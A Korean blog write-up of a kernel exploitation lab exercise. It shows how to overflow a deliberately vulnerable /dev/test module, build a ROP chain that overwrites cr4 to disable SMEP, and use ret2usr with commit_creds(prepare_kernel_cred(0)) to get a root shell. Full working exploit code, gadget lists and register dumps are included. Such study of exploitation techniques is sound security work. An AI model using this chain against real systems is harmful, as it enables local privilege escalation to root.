Introduction

이번에는 SMEP 보호기법을 제어하는 cr4 레지스터를 조작해서 우회하는 방법에 대해 작성했다.

Environment Setting

문제 예제 파일은 아래 링크에서 받으면 된다.
cr4 예제 파일 G-Drive 링크

Extract vmlinux

https://velog.io/@d0razi/KROP-Bypass-SMEP#extract-vmlinux

먼저 위 링크에서 진행한대로 vmlinux를 추출해주면 된다.

Edit start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \

kaslr은 해제되어 있고, smep는 활성화 된걸 볼 수 있다.

-no-reboot를 추가해 커널 패닉이 발생해도 재부팅을 제한해서 커널 패닉 로그를 쉽게 볼 수 있게 하고, -s를 붙여서 디버깅이 가능하게 했다.

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \
-no-reboot \
-s

Edit init

#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod test.ko
chmod 777 /dev/test
 
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f

기본 유저 권한이 1000인것을 확인할 수 있다. kallsyms 파일 확인을 위해 0으로 변경하고, 심볼 주소 확인을 위해 echo 0 > /proc/sys/kernel/kptr_restrict 를 추가하면 된다.

 diff orig_init init
13c13,14
< setsid cttyhack setuidgid 1000 sh
---
> setsid cttyhack setuidgid 0 sh
> echo 0 > /proc/sys/kernel/kptr_restrict

Module analysis

test_write

커널 힙을 size 만큼 할당 받고, v5에 청크 주소를 넣는다.

그리고 copy_from_user 함수를 이용해 usr_buf에 값을 size 만큼 kbuf에 넣는데, 여기서 size는 유저가 전달해주기 때문에 Kernel BOF가 발생한다.

그리고 해당 값을 다시 memcpy 함수를 통해 v8에 복사해준다.

Vulnerability

cr4 status

Enable SMEP

gef> i r
rax            0x1a94000000000     0x1a94000000000
rbx            0x0                 0x0
rcx            0x0                 0x0
rdx            0x212               0x212
rsi            0x83                0x83
rdi            0x0                 0x0
•••
cr2            0x1797d88           0x1797d88
cr3            0x1d958000          [ PDBR=121176 PCID=0 ]
cr4            0x1006f0            [ SMEP OSXMMEXCPT OSFXSR PGE MCE PAE PSE ]
•••

먼저 SMEP가 활성화 되어 있을 때는 cr4 데이터가 0x1006f0이다.

Disable SMEP

gef> i r
rax            0x1a94000000000     0x1a94000000000
rbx            0x0                 0x0
rcx            0x0                 0x0
rdx            0x18a               0x18a
rsi            0x83                0x83
rdi            0x0                 0x0
•••
cr2            0x1c29d88           0x1c29d88
cr3            0x1d938000          [ PDBR=121144 PCID=0 ]
cr4            0x6f0               [ OSXMMEXCPT OSFXSR PGE MCE PAE PSE ]
•••

SMEP가 비활성화 되면 0x6f0이다. 고로 cr4의 값을 0x6f0으로 조작해주면 SMEP를 비활성화 할 수 있다.

KBOF trigger

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
 
int main() {
    int fd = open("/dev/test", O_RDWR);
    if (fd == -1) puts("Open Error!");
 
    char buf[0x100];
    memset(buf, 'A', 0x28);
    write(fd, buf, sizeof(buf));
 
    close(fd);
}

취약점 트리거를 테스트 해보기 위해 코드를 짜고 실행했더니 커널 패닉이 발생하며, RIP 값이 0x4141414141414141으로 출력됐다.

정확한 오프셋 확인을 위해 마지막 8byte를 다른 값으로 바꿔주고 실행했더니 정확하게 RIP가 변경이 되어서 더미 데이터가 20byte인걸 알았다.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
 
int main() {
    int fd = open("/dev/test", O_RDWR);
    if (fd == -1) puts("Open Error!");
 
    char buf[0x100];
    memset(buf, 'A', 0x20);
    unsigned long *chain = (unsigned long*)&buf[0x20];
 
    *chain++ = 0x4242424242424242;
 
    write(fd, buf, sizeof(buf));
    close(fd);
}

Payload

ROP Chain 시나리오는 아래와 같다.

cr4 Overwrite ret2usr

cr4 Overwrite

cr4 값 조작을 위해 vmlinux에서 cr4 관련 가젯을 찾았다. 여러 가젯이 있지만 가장 깔끔하게 사용 가능한 mov cr4, rax ; ret 가젯을 사용하면 된다.

 cat gadget.txt | grep "cr4"
0xffffffff8102f82c : add byte ptr [rax], al ; add byte ptr [rax], al ; xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff8104c097 : add byte ptr [rax], al ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8102f82e : add byte ptr [rax], al ; xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff8104c095 : add byte ptr [rax], dl ; add byte ptr [rax], al ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8104c099 : mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff810973c0 : mov cr4, rax ; ret
0xffffffff8102f832 : mov cr4, rdi ; jmp 0xffffffff8102f854
0xffffffff8138eeed : mov rdi, cr4 ; add bl, dh ; ret
0xffffffff810973bf : nop ; mov cr4, rax ; ret
0xffffffff8104c094 : or eax, 0x1000 ; mov cr4, rax ; jmp 0xffffffff8104c09e
0xffffffff8102f830 : xor esi, esi ; mov cr4, rdi ; jmp 0xffffffff8102f854

해당 가젯을 사용하기 위해선 rax도 조작해줘야하기 때문에 가젯을 찾아 사용했다.

 cat gadget.txt | grep ": pop rax ; ret" | head
0xffffffff8100eb17 : pop rax ; ret
0xffffffff819a6fa4 : pop rax ; ret 0
0xffffffff815ad623 : pop rax ; ret 0x48ff
0xffffffff821d46a3 : pop rax ; ret 0x5d61
0xffffffff821d1b0b : pop rax ; ret 0x70d6
0xffffffff821be3b4 : pop rax ; ret 0x73f6
0xffffffff81345f64 : pop rax ; ret 0x7a
0xffffffff82b442a0 : pop rax ; ret 0x8103
0xffffffff82af895c : pop rax ; ret 0x8201
0xffffffff82afe6e0 : pop rax ; ret 0x8203

ret2usr

이전 ret2usr 문제를 풀 때 만들어둔 gs 세그먼트 복구 및 권한 상승 코드 템플릿을 사용했다.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
 
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8108c2f0;
unsigned long commit_creds = 0xffffffff8108bed0;
 
#define pop_rax 0xffffffff8100eb17;
#define mov_cr4_rax 0xffffffff810973c0;
 
 
static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
}
 
static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :
        : "memory");
}
 
static void restore_state() {
    asm volatile("swapgs ;"
                "movq %0, 0x20(%%rsp)\t\n"
                "movq %1, 0x18(%%rsp)\t\n"
                "movq %2, 0x10(%%rsp)\t\n"
                "movq %3, 0x08(%%rsp)\t\n"
                "movq %4, 0x00(%%rsp)\t\n"
                "iretq"
                :
                : "r"(user_ss),
                  "r"(user_rsp),
                  "r"(user_rflags),
                  "r"(user_cs), "r"(win));
}
 
static void escalate_privilege() {
    char* (*pkc)(int) = (void*)(prepare_kernel_cred);
    void (*cc)(char*) = (void*)(commit_creds);
    (*cc)((*pkc)(0));
    restore_state();
}
 
int main() {
    save_state();
    int fd = open("/dev/test", O_RDWR);
    if (fd == -1) puts("Open Error!");
 
    char buf[0x100];
    memset(buf, 'A', 0x28);
    unsigned long *chain = (unsigned long*)&buf[0x20];
    *chain++ = pop_rax;
    *chain++ = 0x6f0;
    *chain++ = mov_cr4_rax;
    *chain++ = (unsigned long)&escalate_privilege;
 
    write(fd, buf, sizeof(buf));
 
    close(fd);
}

Exploit

init 파일을 복구하고 파일을 실행하면 정상적으로 권한 상승을 시킬 수 있다.

Conclusion

레지스터 값을 조작한다고 해서 공부하기 전에는 뭔가 엄청 어려울 것 같은 느낌이였는데, 실제로 공부해보니 가젯만 주어진다면 너무 쉽게 SMEP를 우회할 수 있어서 신기했다.

커널 익스플로잇은 바이너리 익스플로잇보다 더 창의적으로 공격이 가능한것 같은데, 내 머리로 가능할까 싶다…

Reference